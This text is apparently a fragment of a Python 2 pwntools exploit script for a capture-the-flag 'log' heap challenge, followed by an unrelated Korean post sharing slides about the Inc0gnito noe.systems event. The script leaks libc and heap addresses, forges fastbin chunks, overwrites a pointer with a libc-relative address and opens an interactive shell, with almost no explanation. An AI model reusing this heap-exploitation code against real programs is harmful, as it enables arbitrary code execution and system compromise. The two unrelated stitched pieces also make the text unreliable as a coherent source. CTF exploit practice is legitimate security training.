raw_input()
print '0x%x'%lbc
print '0x%x'%hp


'''1. [L]eave log
2. [S]ee my log
3. [R]emove my log
4. rese[T] my log
5. [C]hange my log
6. [A]ll log'''

# go(4)
make(2,'qwer')
make(2,'asdaf')
make(2,'zxcv')
make(2,'1234')
#make(2,'5678')
rm(0)
raw_input('1')
go(4)
raw_input('2')
make(2,'1'*20)
make(2,(p64(0x30)*3)[:-1])
raw_input('3')
#make(3,'3'*20)
make(1,'A'*40,80)
rm(3)
rm(1)
rm(0)

make(1,p64(hp+0x380)+'FASTBINCONTROL',40)
raw_input('4')
rm(1)
raw_input('5')
make(2,'tmp')
raw_input('6')
#make(2,'BOOMB')
make(2,'A'*8+p32(1)+p32(0)+p64(lbc+2800)+p32(8)) #make fake
se(0,p64(lbc-2947503))

s.interactive()

2017_Inc0gnito_NOE_systems_final.pptx

Cdor1 — Fri, 25 Aug 2017 11:19:49 +0900

인코그니토 noe.systems 운영 관련 발표자료입니다.

https://drive.google.com/file/d/0By7HICPJ1Bt8aUQ3dlpldWdwdUk/view?usp=sharing